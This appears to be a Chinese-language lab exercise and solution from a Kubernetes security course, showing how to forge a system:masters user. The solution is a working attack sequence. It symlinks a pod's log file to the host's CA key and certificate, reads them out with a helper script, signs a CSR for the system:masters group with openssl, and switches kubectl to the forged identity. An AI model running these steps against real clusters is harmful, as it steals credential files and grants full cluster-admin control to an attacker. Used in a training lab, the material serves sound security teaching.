題目 : 參考 Kubernetes - How to create a system:masters user and why you REALLY shouldn't
並建立一個具有 system:masters 的使用者帳號。當然你要先想辦法搞懂要讀取哪個機敏檔案後再去把帳號建立出來。
解答 : 從上面參考資料知道我們要找的檔案是 ca.crt 跟 ca.key,有了這兩個檔案我們就可以任意簽發任何權限的合法憑證,作法部分參考如下。
# 先在宿主機的 minikube 裡面找尋我們要使用的檔案
minikube start ;
minikube ssh ;
# 得知 ca.key 的位置 /var/lib/minikube/certs/ca.key
# ca.crt 就在同一個資料夾底下 /var/lib/minikube/certs/ca.crt
sudo find / -name "ca.key" ;
有了檔案位置之後就可以利用上次那個腳本把這兩個檔案的內容給讀出來。
kubectl exec -it target-pod -- bash ;
# 刪除 log 檔案
rm /var/log/host/pods/default_target-pod_23076fa7-55d4-44d7-87e7-3d2d92b87c18/target-pod/0.log ;
# 先連結 ca.key 的檔案位置
ln -s /var/lib/minikube/certs/ca.key /var/log/host/pods/default_target-pod_23076fa7-55d4-44d7-87e7-3d2d92b87c18/target-pod/0.log ;
# 透過 3-1 腳本將檔案內容讀取出來
bash read_file.sh target-pod 50 ;
mv output.txt ca.key ;
# 刪除 log 檔案
rm /var/log/host/pods/default_target-pod_23076fa7-55d4-44d7-87e7-3d2d92b87c18/target-pod/0.log ;
# 先連結 ca.crt 的檔案位置
ln -s /var/lib/minikube/certs/ca.crt /var/log/host/pods/default_target-pod_23076fa7-55d4-44d7-87e7-3d2d92b87c18/target-pod/0.log ;
# 再透過 3-1 腳本將檔案內容讀取出來
bash read_file.sh target-pod 50 ;
mv output.txt ca.crt ;
有了 ca.key 跟 ca.crt 之後就可以針對申請任意權限的 CSR 檔案進行簽章了,這邊就來試試簽一張之前無法核發的 system:master 群組的簽章看看。
openssl genrsa -out csr-test.key 2048 ;
# CN表示用戶名稱,O表示該用戶的群組
openssl req -new -key csr-test.key -out csr-test.csr -subj "/O=system:masters/CN=csr-test" ;
# 用偷出來的 ca.key、ca.crt 檔案對 CSR 簽發憑證
openssl x509 -req -in csr-test.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out csr-test.crt
# 確認目前的身份權限
kubectl auth can-i --list ;
# 使用作業 5 解答設定 context 身份
sh [腳本名稱] kubectl https://10.96.0.1 csr-test.key csr-test.crt ;
# 再次確認目前的身份權限
kubectl auth can-i --list ;
補充作業5解答(如果懶得回去翻的話) :
token_file="/var/run/secrets/kubernetes.io/serviceaccount/token"
ca_crt_file="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
token=`cat $token_file`
echo "kubectl in $1..."
echo "api server in $2..."
echo "client-key in $3..."
echo "client-certificate in $4..."
$1 config set-cluster cfc --server=$2 --certificate-authority=$ca_crt_file ;
$1 config set-context cfc --cluster=cfc ;
if [ -z $3 ] || [ -z $4 ] ; then
$1 config set-credentials user --token=$token ;
else
$1 config set-credentials user --client-key=$3 --client-certificate=$4 --embed-certs=true ;
fi
$1 config set-context cfc --user=user ;
$1 config use-context cfc ;